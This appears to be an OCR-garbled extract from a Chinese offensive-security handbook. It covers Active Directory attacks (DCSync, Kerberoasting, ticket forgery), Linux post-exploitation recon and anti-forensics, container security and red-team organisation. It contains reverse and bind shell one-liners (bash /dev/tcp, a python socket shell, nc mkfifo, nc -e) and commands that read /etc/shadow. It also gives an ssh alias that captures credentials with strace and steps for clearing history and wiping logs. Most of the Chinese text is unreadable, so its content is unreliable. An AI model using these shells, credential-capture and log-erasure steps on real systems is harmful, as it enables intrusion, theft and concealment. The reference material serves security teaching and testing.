o — 1 HdEPE IU (Data store) , BRIAFA#AE C:\Windows\NTDS Hg 'R,

Global catalog server 2745 catalog [iEds, catlog PAREEM A7 T —4 multiple-domain forest
MRS, HT ISR,

Zrzsial

ZFRZ3[E] (namespace) Je—HFE R, FE DRI AT AR 24 R 2 5 2 R fE R

HRERM

ADDS WHBHIRAGZAXT S (Object) RIIEATFAER), Mg (Attrbute) ARAiA KL .

ADCS
T8

Active Directory JIEF5llk%5 (Active Directory Certificate Services, AD CS) @ H T 5L PKI R 55 .

E$H

ADCS HRJIE 2 X.509 MRIRCTE2 30, T . S48 S HRIEeE.
R S R iR B

o Subject: F:f

« Public Key: A4

« Extended Key Usages (EKUs): #"E854, HRIEFIXSHFH R4 (Object identifier, OID)
# ) EKU OID {d4f:

o U

— OID 1.3.6.1.5.5.7.3.3
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— UL T AT AR
I S #5¢

— OID 1.3.6.1.4.1.311.10.3.4

— RTINS RS
A TR

— OID 1.3.6.1.5.5.7.3.4

— LA TN TR
% P 0 S B e

— OID 1.3.6.1.5.5.7.3.2

— OID 1.3.6.1.4.1.311.20.2.2
it 55 %5 A UE
— OID 1.3.6.1.5.5.7.3.1

— IEBHT RIS % (B0 HTTPS jE$)

EB R

TSR E TUE AR DIRE . J7 SRR AU 45 . IEBRSUE R R FE SOGIEH I Em S, A/RIE
BAHBW. HiE. BiEEFER.

EF E A

RS AT DA AR U7 3 )

o B Windows & Pt EMHMYL (MS-WCCE)

o it ICertPassage wLAEHY (MS-ICPR)
1E ADCS JFJe 7 X Web JIRSFHUIFILT , G Web k45 Mt
FENR S5 e T X MRS I, W E AR SS (CES) YAt
HENRSS 2L TR R RSB, o P P 2% s A R 55

R
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[CF1

#1550 (Group Policy, GP) J T4 B ARSI A, E LT ARG BE B8 B T A i B2 2% Pl
Hf.

HLEmEAT LA T IR :
o ERIEME
o WEMA
VLD EE DS
o RV AR
o R LA

&

" R

»

HI5kng 7% (Group Policy Container, GPC) fA#fEiGz Hgr, % GPO Jgth. MEEEMRAS,
PAFEIE GPC k&4 GPT.

KM (Group Policy Template, GPT) f#ifEskez, W& A MAKMEE . WIFEBRi, 24,
A, BRFIEREE

Hrep GPC PiyfF B EA . &8/, GPT iR R K. AR, WP I By 1kiEsh 3 h
PITF ik 1 1 2 iR A i P RE -

Mg RS (Group Policy Object, GPO) 24 £ f Windows RIS B LS, FiEfE GPC A1 GPT
.

Kerberos B§ Windows SEEj
HXEX
SPN

M55 EARZFR (ServicePrincipal Names, SPN) , 255561 (41 HTTP., SMB 45) AyME—HRiR4T .

SPN 43 NWiApe Ry —Fd e TG s B SR ALES K R, 24— MRS AR A Local System 1§, Network
Service, | SPN YEMFENLEIK R o —F@ i MAES 3 H SR i3sH Pk PR, 24— ANIRSS RE Ry — i,
FF, W) SPN {MHESH Pk PR .

HRY TR

o ARBURFERLR
— AN SR
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— I hash, JUHJREAEPLOL . B 4E 2 SRRk S HOIS A

o PERABHLES
— TR E R
— FREPUEAN P REIE
— I PR R ) S P
— I relay
o ARIBUIRSS PG
— Mifi Exchange 55 flk 55 %
b0 g i
H2ZR#A

TENIE RS, 25 client 5 AS BYI{F&5E] TGT, #4:54E (Golden Ticket) st Dhit S T34
(TGT), WHFIINIEZEE.

HEEIANHE S DC @l fF, HFEZARE kebtgt () hash, {H2 0] PAZREULAT Kerbose iz 5541 -

BIREEFA

FI4REZEHE (Silver Tickets) i FI 2 Kerberos AUEHIEE ZABER, FE58 =M, client 4%
ticket ] server PIEAAR S TR, WIRIIEE AT LAVT ) server FAYFEEMRSS T, X HAY ticket /2
F client info. server session key. end time. server hash., JXH client info £\, end time W] PAKYiE , server
session key ;& TGS AL, FrPAAZE server () NTLM hash BInl. FREEOER) 2 TGS, HEEVIHTEE R
%

DCSync B i

NG Z GRS R, T R EEE IR S R, R Bt TR T AR H SR DRSR AR AL

FEZ AR 55 A 2 8], B P — B 18] oA — IR A [l 2 o ol 7 () 2 R s i 5 i 1) HL R 55 i A
GetNCChanges 3K, #RPUEHRFEALHLE. BdiER2n, WELX SR,

DCSync 52 X FALH A TEB SR AR, B Benjamin DELPY gentilkiwi #1 Vincent LE TOUX Ft[q]
Y5, 1E 2015 £ E] mimikatz (—NIIRE, WA IS N A H PR hash,

TP 2 URE G L DA AT ——— PR -
o Administrators 20PN
e Domain Admins ZH NI

o Enterprise Admins ZH PN
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o IRl ALK
E WA FER LA DACL:
e DS-Replication-Get-Changes
o DS-Replication-Get-Changes-All
o DS-Replication-Get-Changes-In-Filtered-Set
HEAEH A, (294 WriteDACL FURKS, #[PAS A _Eid DACL sk5¢ 5 DCSyne .

Tk Aty ATPAGE LA GetNCChanges A2 1) A=, WA p AR PLAR A it B2 i K, W] PAIAK
2 DCSync 5.

DCShadow X5

DCShadow 213k H ¥ E 12458 A R Benjamin Delpy F Vincent Le Toux £ 2018 4Ef {4k e (Blue
Hat) K& b .

DCShadow HHif§7E Active Directory FAlg T Gl — BRI Hd, I ERAERTEN S

IS R i

WA fid i (Pass-the-Hash, PTH) jgifiid f%i# NTLM MA A AIERSdi 753k, # M #) T R4 mimikatz

48

RiBfREY T

LI (Pass-the-Ticket Attacks, PtT) J&—Fh{#i ] Kerberos ZEHt B L &8 NTLM B A7H9 75
V. POT S DL G o] BE 2 (0 A B 4 B4 A AR 24k, i PHT 151 EALAE 24 AT BR

Kerberoasting Attacks

Kerberoasting ;i Tim Medin #£ 2014 DerbyCon conference | /ST o 838 N BE]—& FHL, FEATDA
Wit 4l SPN, Kerberoasting Bl & s N i iS55k TGS, SRJGHF T8 JImfE.

Roasting AS-REP

RIS AT 2 Kerberos TG AUERIMK T, a1k 2Lk P sk — 205 5, I Bk s
M A A . 1% TR HE K P A % ¥ DONT_REQ_PREAUTH .
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Kerberos Delegation Attacks

A, A i Kerberos S5 UETf MRS B, B FEM A B MHhAiGR C, XA REHE AT DAREf#
HER. BREESHIEARZEJE (Unconstrained delegation) FIZR ZEJR (Constrained delegation) W,
AEL R ZEYR AT AT Ik PE R LB R SS, LUPRZ URXSF AU T FR AN T DA 1) HAth ) AR 55

Kerberos Delegation (Kerberos ZR) Wi/ MAEAPR ZIRME AR BRI . R PR & TN B 4R
BT ZRIRMIK RO & Ik PRI RLRR .

HtvRmiRF A

o S PR (CVE-2022-26923)

« KDC bamboozling (CVE-2021-42287)

o Name impersonation (CVE-2021-42278)
« ProxyShell (CVE-2021-34473)

e ProxyLogon (CVE-2021-26855)

o PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
« SMBGhost (CVE-2020-0796)

e Zerologon (CVE-2020-1472)

o NTLM Relay (CVE-2019-1040)

. KIEZ T (MS17-010)

o BRI PR (MS14-068)

« Gpp JiiA (MS14-025)

« SAMR HFRH (MS14-016)

o WM ATA ERDIALE; i TR
o WRINFHRMF. EDR G TA
o KM GRS
o Gi—PCE T KRN
o RPN B B4 BT T A B
o BRI R
— BUR$ETH
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- FEEKSEREY. HE
o FTRPRER

— R ZARE SR/ B TR
o NIRRT
o MR BT TR

— il GPO NEHED. WML

6.2 Linux PMi3i&E

6.2.1 {525
BRAR, BRERGHREESR

%N 7 5)
— uname -a fiFA A
— uname -r WA S
— uname -n R EHHF

— uname -m Linux HNAZZEH

W#%{5H. cat /proc/version
o CPU {§ 4 cat /proc/cpuinfo
KAl

— cat /etc/*-release

— cat /etc/issue
e FEH144 hostname
o XMFRGE df -a

e W H dmesg / /var/log/dmesg

APfd

. SR cat /etc/passud

o FIHARGAEM cat /etc/group

o FUHFFAG P hash (root) “cat fete/shadow
o Jim

6.2. Linux FME&E 255



Web-Sec Documentation, 475 1.0

— B PR EAEE finger
— MBI P users who -a /var/log/utmp
— BT grep 'x:0:' /etc/passwd
H A& SR v
o BAGH S last / /var/log/wtmp
o WRARGHEIA NP EGL— ORI lastlog / /var/log/lastlog

o BSRMYIHE /var/log/secure

o BRKMHDE /var/log/faillog

o BN grep :0 /etc/passwd

o #F passwd B MINTE 1s -1 /etc/passwd

o BEEHRMELESIADMH T avk -F: 'length($2)==0 {print $1}' /etc/shadow
o BEHEMFEERMIKS awk '/\$11\$6/{print $1}' /etc/shadow

o #HHA sudo BLERAYH )

— cat /etc/sudoers | grep -v ""#\|"$" | grep "ALL=(ALL)"

APFIRRIER

o Y4HF[H /" whoami

o YHIMER id

o H[PAHI A sudo $&ETFF root BH ) (root) cat /etc/sudoers
o FH HEH AT S TEEPATRYHE 4 sudo -1

IMEER

o ITEHIRGEHIAG L env

T RGEHSAG R set

B B 425 B, echo $PATH
FTEIJ 2 Ay4 history / ~/.bash_history
2R Y FEAR pwd

BIREMAR SR cat /etc/profile

o BIRA M shell cat /etc/shells
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o EE
o PR EAD top —c
A PR KBS 1sof -c $PID

BarS 475 H /proc/$PID/cmdline

{5 E ps aux

i

a

PRy 44 /proc/$PID/comm
o R HI AR H SR A5 558 /proc/$PID/ cwd

o BITREFRIFT 5458 /proc/$PID/exe

e

PRS2 B /proc/$PID/environ

PEREFTH SO DL /proc/$PID/£d

e

IRZ1ER

i inetd FFRAYARSSF) £ cat /etc/inetd.conf
o [ xinetd EHPIR 53 cat /etc/xinetd.conf
nfs R 4SELE cat /etc/exports

HE4{5 . /var/log/mailog

o ssh fid'# sshd_config

THRIES

o WRTEEM P RIVEML (root) crontab -1 -u %user’
o VRIS

— /var/spool/cron/*

— /var/spool/anacron/*

— /etc/crontab

— /etc/anacrontab

— /etc/cron.*

— /etc/anacrontab
B IV S

— /etc/rc.d/init.d/
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M. BEFIEE

o FHIMZE: {5 /sbin/ifconfig -a / ip addr show
o S 453 {5 H cat /etc/network/interfaces

o BERY arp % arp -a

o FTEIES S route / ip ro show

o BFE dns it B{5HE cat /etc/resolv.conf

o FTENAHLYG ITHLfEE netstat -an

o S iptable PFECE #LN] iptables -L

o B FHI RS WL cat /etc/services

e Hostname hostname -f

o BEMFELG TE I netstat —anltp | grep $PID

ERRERF
e rpm -ga --last Redhat
e yum list | grep installed CentOS
e 1s -1 /etc/yum.repos.d/
o dpkg -1 Debian
e cat /etc/apt/sources.list Debian APT
e pkg_info xBSD
o pkginfo Solaris
e pacman -Q Arch Linux

o emerge Gentoo

X%
o HLTLRAYICH find / -ctime +1 -ctime -5
o VHFARBYNTT debugfs

AFAER

e ~/.ssh

e /etc/ssh
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RIS

/var/log/boot.log

/var/log/cron

/var/log/faillog

/var/log/lastlog

/var/log/messages

/var/log/secure

/var/log/syslog

/var/log/syslog

/var/log/wtmp

/var/log/wtmp

/var/run/utmp

1lsmod

1lsmod

lsmod

1lsmod

lsmod

grep -i
grep -i
grep -i
grep -i

grep -i

FRAEEKE

capsh --print

"vboxsf\|vboxguest"
"vmw_baloon\ | vmxnet"
"xen-vbd\ | xen-vnif"
"virtio_pci\|virtio_net"

"hv_vmbus\ |hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"

cat /proc/1/cgroup

env | grep KUBE

1ls -1 .dockerenv

1ls -1 /run/secrets/Kubernetes.io/

mount

ps aux

6.2.

Linux PIFi8iE
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6.2.2 HFX It

WPREEFH

o PR
o BiEA root KUY AR 55
o FIHEE =T IRSHRAL
o QAT SUID Jg Pt ol $h47 e Pk
— AR A BERAAY R] AT SO
— find / -perm +4000 -1ls
— find / -perm -u=s -type f 2>/dev/null
— find / -user root -perm -4000 -print 2>/dev/null
— find / -user root -perm -4000 -exec 1ls -1db {} \; 2>/dev/null
o FDHWH root AU
— sudo -1

o FIFIRECE AT crontab L4

=)=t

o /etc/init.d

o /etc/rc.d/re.local

o ~/.bashrc

o ~/.zshre
B

o ssh Jal']

— alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'

— Jal 1k
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. RIS
o . IFKRRE
e rootkit

6.2.3 JRi;EE

BE&H<

e unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;

e kill -9 $$ kill history
e history -c

o FF HISTSIZE=0 i} 'E HISTSIZE=0

Bk /1 B &S

e /var/log/btmp

o /var/log/lastlog
o /var/log/wtmp

e /var/log/utmp

« /var/log/secure

o /var/log/message

B RRB

o % ~/.ssh/known_hosts HHiCs%
o (ESCCPE]ER
— touch -r

o MHBR tmp H RIS

BRAETRIT

o vim ANt 4 :set history=0
o ssh Z3IN0

— IRt ssh -T user@host /bin/bash -i

6.2. Linux FME&E
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BEEXH

e shred
e dd

e wipe

o BEEFIARIRMESE A MIRIRIE, ¥ H s e —E

o HIEEMERAILH &, FEMZRRE . Zadis. EP I EREHIFILE
o HAMEITEEEEEEFER

o BEAAY B EBE A AT RE S B AR

o FEBMERIRE S A L
o THBRSCOR B8 AR 5 e S RE MM e
o SREMBLAPRAS RS2

SEHkE

o Linux AZIRIEHEHETY

6.3 JIEAR

6.3.1 FEAKRK

o HEIREIEAR
- RGUEH: ARAGHEHAGE, HEREH, RSEH
— SCPFEER: SR SCER, BRSO/ H SR, Rk Bt S
— Shell 453
— IR
— BRI
—

— PP AR
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- EREEER
— R B A
— AR

o AREhEA

— Windows ki3
* ET Windows &3 H 540 H B30
*ETENNRM A S
* BT RS TH A BB
*HT ActiveX $5E1FHY H JH D
* BT IHIES (Scheduled Tasks) #H H3)
— Linux HE3)
IDRFOSIZIE R S
— JT DLL ffi Af R
* ISR
*RCEAE D (HOOK) HoR
— 5T SvcHost FEE2fIR 55 1) HEAR Bt
— HRENAER
b 5 i PP B AR
— S
— PhiXRE i
* HTTP

* MSN

* Google Talk
NAZGR IR (Rootkit )
R R B BB A (Bootkit)

— MBR

— BIOS

— NTLDR

— boot.ini
o BRI
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6.3.2 FRF

fegeip BRI
- e
— WIESE S
— HIARIR
B3R R ACH R
— SASREOA

— FASHR A B A

— W AP ST Ak A AT

— Wi

— MHEGIRE S o 2 5
Yl 1B R AT

— BRG]

- B ARG

— EFh%kik IRP #Y\EHUKE)
FUE 54

— BRI AAIETS

— I ol i e

— MM &AL DLL Bk msn <3 s

6.3.3 AR

&S NE = LS il
8-S el SN e Rl
BT R AL o AG
Rootkit /Bootkit f4 i

6.3.4 IG5

T
v
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— BARET

— AR R

= XPEmse iR s K

— WU R AL

— BRSO S R AT

6.4 LRERKDI

6.4.1 IwOEXR

« windows

— lex
— netsh
e linux
— portmap
— iptables
o socket {CHI

— Win: xsocks
— Linux: proxychains
3T http 5% Y5 socket fREL (IRELRR Pz i)

— W% tunna

— socks fUH: reGeorg

- Ui K

— socks

6.4.2 3XEY shell

o HHL shell Si

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_

—dup2(s.fileno(),2) ;p=subprocess.call(["/bin/sh","-i"]);"
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(8:EW)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/fl/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

o SEMERH K% imep_shell [z 3
e JE[A] shell

nc -e /bin/sh -1lp 1234

nc.exe -e cmd.exe -1p 1234

6.4.3 PRSI

o windows F3CE{EH

— powershell
— vbs AR
— bitsadmin
- St
— i1 telnet Hll
— hta
o linux F3CPEMEH
— python
— weet
— tar + ssh
— I dns & 5%
o CPEGRPE

— powershell ¥ exe ¥4 txt, F txt %4 exe

6.4.4 niREE && MITEERF
o at&schtasks
e psexec
e wWmic
e wmiexec.vbs

¢ smbexec

266 Chapter 6. HMEiE




Web-Sec Documentation, &%5 1.0

powershell remoting

SC Bk 55 AT

schtasks
SMB+MOF || DLL Hijacks

PTH + compmgmt.msc

6.5 &Lk

6.5.1 Windows

Windows g i 4

SCHEAFA: NTES SO 58 b b

Windows H LS T T AL TR B 4G

LOLBAS

BB Windows B4 H &R

windows HUIESCPFATIC RIS

Getting DNS Client Cached Entries with CIM/WMI
Windows Bi#J| Persistence

Dumping RDP Credentials

gisiE

LRI 8 53 R OB B A
W53 45
got domain admin on internal network

Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques <http:
//download.microsoft.com/download/7/7/A /77TABC5BD-8320-41AF-863C-6ECFB10CB4B9/
Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and %200ther%20Credential %20 Theft %
20Techniques English.pdf>¢_

bR i ey I
QOMPLX Knowledge: Fundamentals of Active Directory Trust Relationships

Kerberos [ 4 P EAE

DCShadow explained: A technical deep dive into the latest AD attack technique
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e Active Directory Security

o Kerberos AD Attacks Kerberoasting

e Kerberos 2 I N Z R I

e adsec An introduction to Active Directory security

o Attacking Active Directory

e Certified Pre-Owned Abusing Active Directory Certificate Services

e Microsoft Advanced Threat Analytics

W pREEFH

o Windows [N B HEHEFL

e« UACMe Defeating Windows User Account Control

%

« DEC/RPC

e The dark side of Microsoft Remote Procedure Call protocols

6.5.2 RedTeam

¢ RedTeamManual

6.5.3 A

o NI ZetH
o FRPTHIER N MEE

METFIR N )
BB Github #2058 3014

e An introduction to privileged file operation abuse on Windows

o JHIAHERL tips

6.5.4 Cobalt Strike

o Cobalt Strike &41%EiC
o BiFEF#E Cobalt Strike 55 2 f& APT 20141 o 55 IR AR R 5T Bt
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7.2 BRHRE
7.2.1 OCl

I brdE (Open Container Initiative, OCI) J& I T ML A et XAz ATk ArifE. H AT OCI 2 i
A

e OCI Runtime Specification
e OCI Image Format

e OCI Distribution Specification

7.2.2 CRI

AEEFTIE (Container Runtime Interface, CRI) & X T A SSMEZ D, HEIE T BN AsHs T
$5 Docker, Containerd. CRI-O F1 frakti,

7.2.3 BEHE
X

e Introducing Container Runtime Interface (CRI) in Kubernetes

e cri-o

s

o runc OCI Runtime [1)%:3% 528

+ Kata Containers $2Hbm BRI RE (R LA AR 1 T
o gvisor Go SEIMET H P AN A4S T

o buildkit docker build ##4} i3 build i H

7.3 Docker

7.3.1 BUAERREFTRREAR
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fREEMIEEAR

GRS I hypervisor JZ, BRI+, N7, CPU SRR ¢F, FAER D& L, &4
HPOERA HO AR, SRR ARUYUNE B BT, ARUNIA AR ERENE, A
e BB R RIR, NI RA R EE, ST s BHS P2 5t.

FaEA
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7.3.2 Docker

Docker 72 H Al HUEE AR 6 22—, HARZE S, 15276 3 5F . 7E3T Kubernetes
SR AHAE TR AR I, @ YRR SRAE, At Rt SR, A
FHESEE . W SCERRIIRE .

EAXES

Docker 5 =AEAM S, #1%2 (Image). %% (Container). X (Repository). Hiffie— A LM,
H—4 3 R %5833 Union FS 5 ARH K

g BWASIE X, BRGSO BB Tl . 2R TR R, 04 3 M4 25 .

@ (Repository) 2&EPIEES I, HTEE. &R,

AT AR . TR Ik B, AN ER R, TMERASE MR — MRS Linux 35
55 (44 root JIFALMR. BERRZSIA]. s An M 5 23 0] ) AaA T e i I AR o

HR

Docker 51BN FEHMAHM A : Docker & i (Docker Client) . Docker 5FiEfE (Docker daemon) |
containerd PAK RunC, ‘BEAIFE[H 75441 B EFZTT .

Docker Client f2#1 Docker Daemon ZENi#{5 % i, Docker Client A DA http/unix socket %575z
Daemon #3715 .

Docker Daemon J& g & B FI bR, 7218 FALETT, 1ENIRS 2ok A& P imidigaK, E2Yse s
BRRAEEE. iR . REST APL. B{RIGIE. 4. #OMZAM4HE. Docker daemon T /var/
run/docker.sock {4l TPC/Unix socket H3ZH Docker tfe API, BRiAdE TLS R 2% 11k 2375, TLS
PRIA 1h 2376,

containerd ERARFEAVMEMZ FFHI, HTHEZFBITHIA Docker Daemon 3|, containerd 32 2EHH
FREBEM., KT,
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o 2436 namespace
— ——-net=host
— --pid=host

— —--ipc=host

e

o F£#{ /var/run/docker.sock
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A PRI

7.3.9 Hih CVE

o CVE-2014-5277
« CVE-2014-6408
o CVE-2014-9357
o CVE-2014-9358
o CVE-2015-3627

o CVE-2015-3630

7.3.10 =2nE

o Iz
- MBRTA R LR (Fdss)
JA M AppArmor
« B SELinux
R EA T2 e N AZ Zh RE
Fo IR MO 72t
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o T RS 1A ) 25 TR 9 SR
o Al root H FJE3l docker
o APA privileged FAlia T4 4
o PElIBEIR
— CPU Share
— CPU &%
— WAFBEIR
- 10 %R
— WEFBEIR
— BRI E] Y RERE R R
o AR R E S
o EMLATIHRFE RN
o JMBREEGANY setuid Fll setgid FLFR
— RUN find / -perm +6000-type f-exec chmod a-s {} \;|| true
o TiiE Docker ~P4#E/FH) TLS S35k
o WNARLEEE A AR A AR
+ rootless Docker
— https://get.docker.com/rootless
o f#if Seccomp PR syscall
o MBAGERIAEL AL T
o UEAIEES

7.3.11 Docker IFEIR I

Docker B

o MAC Hihl:2h 02:42:2c:11:00:00 - 02:42:ac:11:ff:ff
o ps aux KEl/HZITHYRET pid #RAR/I

« cat /proc/1/cgroup docker [{ifL

o docker 5 N1EALE .dockerenv

o B TPEFZHE IR ping S5
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Docker p

e /var/run/docker.sock CLFFFEAE

e 2375 / 2376 i 1P/

7.3.12 FBRAESKE

o JAPEE CHRUHP . HPEIER)

o BIERGE WA

o fTlREEE (WA . BURE)

o BRI N A

o MR

o HWTARSHERGGE, ZlHEK Docker Socket
o PIZREREL, AT ARIIAAY R B

o TETHEEH, ZHRBOTEdEE R

7.3.13 1%

BEXHE

Docker HifR I VAF e — IR SCIE RS, T RIEEASSITI I i3t FREgis s 720
EFTI SR E R (AR I P4E).

TEMEZ EHEEA S, H2URSER A S 0 EhSmHd .

Windows 8%
T Windows H AR EHFFHL syscall , G Windows f&Jp#fe At sys dll 5 NZEE, X3
Windows FilgH A REE T scratch iy, HEBE TSR L ER B kG2 .
GiiR 04
 windows servercore WJRBIRTEHE, WAL GN net framework ¥4
o windows nanoserver £ .net core in{THiE
o windows #ft5E# A windows server api, IFfE#; windows server #fL

o windows server $EMHL5E# ) windows server api
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7.3.14 X4
RESH

e A House of Cards An Exploration of Security When Building Docker Containers
e Privileged Docker Containers

e 32c3 docker writeup

o ETENERETE

e Docker security

. B

e CVE-2017-7494 Docker ¥b4fkifk

o Docker Z4s2t 4T

e AppArmor security profiles for Docker
e Docker Bench for Security

o Docker 241 5 It 74

o Pfleeger C P, Pfleeger S L, Theofanos M F . A methodology for penetration testing[J]. Computers &
Security, 1989, 8(7):613-620.

Windows

o Container Base Images

7.4 Kubernetes

7.4.1 k8s HI=

Kubernetes FEA IS IEEN “feT” 8L “Z3h 57, F1 Docker X7, # f&iFih K8s., Kubernetes Ff Google [
Borg {fbIMk, 2HT HNHE . ¥ RAEHARNITHERS .

H

Kubernetes fi3s:iil 1 (Master) 5%k (Worker Node) 41, Master fj4%.0o4144::
o API Server
e Controller-Mananger

e Scheduler
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https://blog.heroku.com/exploration-of-security-when-building-docker-containers
http://obrown.io/2016/02/15/privileged-containers.html
https://kitctf.de/writeups/32c3ctf/docker
https://blog.qiniu.com/archives/7743
https://docs.docker.com/engine/security/security/
http://blog.nsfocus.net/docker-mirror-security/
https://strm.sh/post/abusing-insecure-docker-deployments/
https://www.freebuf.com/articles/system/221319.html
https://docs.docker.com/engine/security/apparmor/
https://github.com/docker/docker-bench-security
https://mp.weixin.qq.com/s/d9D3z13uCOJoJzplpu3WJQ
https://learn.microsoft.com/en-us/virtualization/windowscontainers/manage-containers/container-base-images
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e eted

Worker Node N PATR 7 S 4l :
o Kubelet
o Kube-Proxy

- ABIEF

bzt

Pod

Pod 2 Kubernetes [{EATHFEIC, —4 Pod — & — i 24, Kubernetes W44~ Pod ##k
BN ERAE N ME— ) TP itk , (EA5 A7 AT DA IRl —im 1. Pod AT DA L—14, BlanAHhg i H
SEEL R R, R pod HI— A2 T, Pod W PAEIT Kubernetes APT F545 5, A%
Fega gk Sl A 2 R

Service

Service s —4LEA M D RER A e BRI — A Ak, A — A TARER Pod.

7.4.2 24

et IBIL H s
o PRIEARS 518 TR &
o PR fR g RS /AL AAR A ORI T
o B/MIERIEN
o WHERALPFRL S A 5y
o SO ORI BB A
o WOBEPRFAE B GUBURIBE T 1
o SUVFIIAT Secret FdRAY N FIAESERE TiztT

ELLn
o KS8s API Server KAL)

o k8s il & {4t #% $HOME/ .kube/config
o BUAREETE
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— Pod WRLEREET
— K8s BUREETH
o TE#EHRSF
7.4.3 BXE5%E
§L45

e kubernetes goat

7.5 &5

7.5.1 ¥

e Kubernetes Documentation
e Openstack wiki
e NSA, CISA release Kubernetes Hardening Guidance

o Kubernetes Hardening Guidance Kubernetes i [& /I

7.5.2 THIERE

« Exploiting SSRF in AWS Elastic Beanstalk

7.5.3 =TEi%

e ceph

e ceph tracker
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https://katacoda.com/madhuakula/scenarios/kubernetes-goat
https://kubernetes.io/docs/home/
https://wiki.openstack.org/wiki/Main_Page
https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2716980/nsa-cisa-release-kubernetes-hardening-guidance/
https://github.com/rootsongjc/kubernetes-hardening-guidance
https://notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/
https://github.com/ceph/ceph
https://tracker.ceph.com/

Web-Sec Documentation, 475 1.0

282 Chapter 7. =&2£



CHAPTER 8

Bh fEl AR

8.1 HIBAEix

8.1.1 ARHI
o WIIATA
— ATTHLUER I E B LK)
BT 1) 15 2 70 108 HH i R

— STTHHGUHAEL T P 430
— JEFEEIEE B4 TAE

— FUE R L ER R

- MITLEFY S TR E

— TS H AL A R R T 5

T BRI . AR HE , MBS DL, UGS S Y i BE A AR
— ST AR A TAE, GRS . e TARHESD, RS RS Fr A A o A

T AN A O BRI 2
TR EALFHE
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o RELARNTIN
— 55 AP B R SRR
— TR LTRGBS, HRERE I A TR
— ALY
— W55 -5 I 2% BE AL 46 1) 22 4 o a0 T AR
— BERMHHEE SO, BEEMME Ll
= KL edr, RERFRRER, Tk M 2 et
— TR E TAEEE, BRERARICIEOL, MR
— TR E AR BT
o BIE/HTEA B
— PRGNS R . 55 ARG T 2 A A I
— XA SRR AR T SRS S Y
o RAERRIBYEN B
— SATTIA L E AN A 2 2
— SATTH A A B BN 4 A SR A A S B
o BREIER
— WP A L e T EIT KL e TR S
- ZHEERGHTOR. Bt ST K T
- YEP A EBA N LERF 5 RS

8.1.2 B4

o BT L B LR
o ol A F AR A

o ARl fE B A I BVEER

8.2 {IEEXtn

8.2.1 §i&

LLREXH TR S R FOR IR T 20 HHAD 60 4RSS ST, 1~ 02 LR FF NI T R UL RY SE G~ 3~ il
WML, W, Hh R R AR PSS HUIE > L T S AR RO A, S40% (R IR
HRBA) UEATES PRI ISR, XA st geFr{F Red Teaming.
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https://mp.weixin.qq.com/s/BqOFP217kiN55IWb_oQP-w
https://mp.weixin.qq.com/s/RlBTH9-xrY7Nd1ZJK3KjDQ
https://xz.aliyun.com/t/1965
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RS 7SS e AN O E I EE Pyl E R 1 R A S/ o 41T B 1B U 7o) | | TN G R N VA Ve S D287 S
PREs Aol 224 . SRS T, ARBL A, RBOI S5 AR A s, MR EGEFBE, il
WS AL EIZRPA, REE HAR. nTRE SIS RGN, AERRSE—BOR M ZL MU Ty, AR
SFUr, B ACRIE AR

8.2.2 MEBHPhES

R S > “8iE” (Locked Shields), “PIZg K" 45, Hrb “8ijE” b2y sl 4 5h A1
f.l» (CCDCOE, Cooperative Cyber Defence Centre of Excellence) #F4FE28p—1K . “ME R HEEE
1224 (DHS) 325, 2006 4EF-4R, RFHFERIT—IK.

A APT Sl E, SOOI AR BHCRT, TV 14 J8, A MB<rFAR. 5 APT 3t BRiE—, BHT
BT EE, TATRGE

8.2.3 ME

Al 25 2 T AR N B IHR S BN A LR, WA 7 s (i i SRR A ], (R O A Tl o

&2 O S P SR PR ) 2542 S 2 9 22 Al , — AN KORTESGE AT A g I 2 B, Ay 45 Bl
55 Z G0 B MBI 22 XU

MNP AT H SR, T2, sk, oSS . MESEHMER, ZIH BRIk
POk 55 AR BB A bR e AR BARRME A, PUAZCE s g SRR R, — Bk Bl 0%
AL TG T . ZLEXTUN B A2 e E SRl HONRBTIAE T . R E . ML ERE

8.2.4 B#r

o VEABUABIBIAE S AR SRR AR R 0 5 R LR R T 5

o I B S R S TS0 SR A% PR SRy 24 ) R AT s P TEEE Pl 45 56 ), R 2 448 BRI S Bl
KA T4 AR ROI

o PR T LA AR S HAS I A B e 1 e

8.2.5 miHAER

o ALK

o EMITHA]

o BARGEELIE

o BRGZIARI KR
o TR R A

o BT

8.2. EIH 285
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— Bobve g
— 5 RG R
— B
— HMuL/ = Mgy e
— Dy st g
o kg EHER
— W55 RGE AR
— kg5 R R
— Mssanka
— W4 /1P Huhk
— M55 v 1
— JAs
— RGHEALE
— FFRIESR
— iR
— Bl
- JHEA
— fEAS
o BRVHEHA
— WHAIE
— WA
— [EFRAS
— IP ik
— WREOE
- THEA
o AN
o AM/E IS BTG R
— )RR
- RGATR
- RGERA
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— IP/URL $iiht
— WENLE
- SEA
. VNS
- JREERE TR
— FH=J7EHIEA G
PUESHEBH
— BLTH R U
— RS AR AT 2
— I XU HE AT
— Wt
7 S M B4
AV 55 EESEHE TR
FMEVRIZ VTR

8.2.6 1TEhREE

o Bl
— WIREAGER . W H AR, R RSE
— e SRR
— frEsA- S P
o Hrilidhdy
— A ZRNR R XA Y
— R HAERE N
— FRMYGE TP SRR
o HrilivEnk
- WA A B
— FEBRPTA R AL ]
— PTG S MR
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8.2.7 FEEM

o WAHTEA T A

o AATRES SR V55 ARV I A0 1 V20 3
I Al 55 VEE B A G R THRB A
EplTEAEZN

p=y

8.2.8 &R
o DATCAERH A E ZE R
o 7 PP Red Teaming for Cloud

o LT i Gr 2 Al il AR A v

8.3 R&HX
8.3.1 &

AT A A (Security Development Lifecycle, SDL) Je i th i M 2 42y s BESR A AR 01T R 0t
PR HREGEC. HTRIT 2N SR E R e e G DR, FRARTT A .

8.3.2 £}

Breg 1: 3l

T 5 P BA B BT AT I R R 3% 52 1 i e il 1 MR R e s S5 RAFEIF RN B DA B
WHZH ., AR

M 2: REREFEK

TEDT AL Z B, 5 SR AT E A K, B AT E], RO B g 2 42 R R i SR A

BB 3: it

